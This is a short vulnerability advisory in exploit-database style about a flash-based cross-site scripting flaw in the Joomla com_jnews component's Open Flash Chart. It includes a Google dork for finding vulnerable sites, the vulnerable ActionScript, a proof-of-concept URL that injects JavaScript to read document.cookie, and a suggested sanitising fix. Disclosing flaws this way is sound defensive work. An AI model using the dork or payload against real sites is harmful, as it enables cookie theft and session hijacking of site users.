# Exploit Title: Joomla com_jnews Open Flash-Chart XSS
# Release Date: 14/05/2013
# Author: Deepankar Arora And Rafay Baloch
# Blog: http://rafayhackingarticles.net
# Vendor: www.joobi.co
# Versions Affected: 8.0.1(latest) and earlier
# Google Dork: inurl:com_jnews
Description:
The vulnerability with Open-Flash Chart is a known vulnerability, however
it is integrated with com_jnews, The get-data parameter is not sanitized.
Therefore it results in a flash based cross-site scripting.
The vulnerable code is as follows:
var _local2 = open_flash_chart_data ";
if (this.chart_parameters ["get-data"]) {
_local2 = this.chart_parameters ["get-Data"];
};
if (this.chart_parameters ["id"]) {
_local3 = this.callExternalCallback (_local2
this.chart_parameters ["id"]);
} else {
_local3 = this.callExternalCallback (_local2);
};
We can see from the code that when called, get-data parameter is directly
passed to _local2 without proper sanitization.
POC:
http://localhost/joomla/components/com_jnews/includes/openflashchart/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})()
Fix:
Sanitize the input.
_local2 = (this.chart_parameters ["get-Data"]).toString().replace(/[^\w]/g,
'');
The above would filter out all the special characters.
References:
http://www.wooyun.org/bugs/wooyun-2010-07265
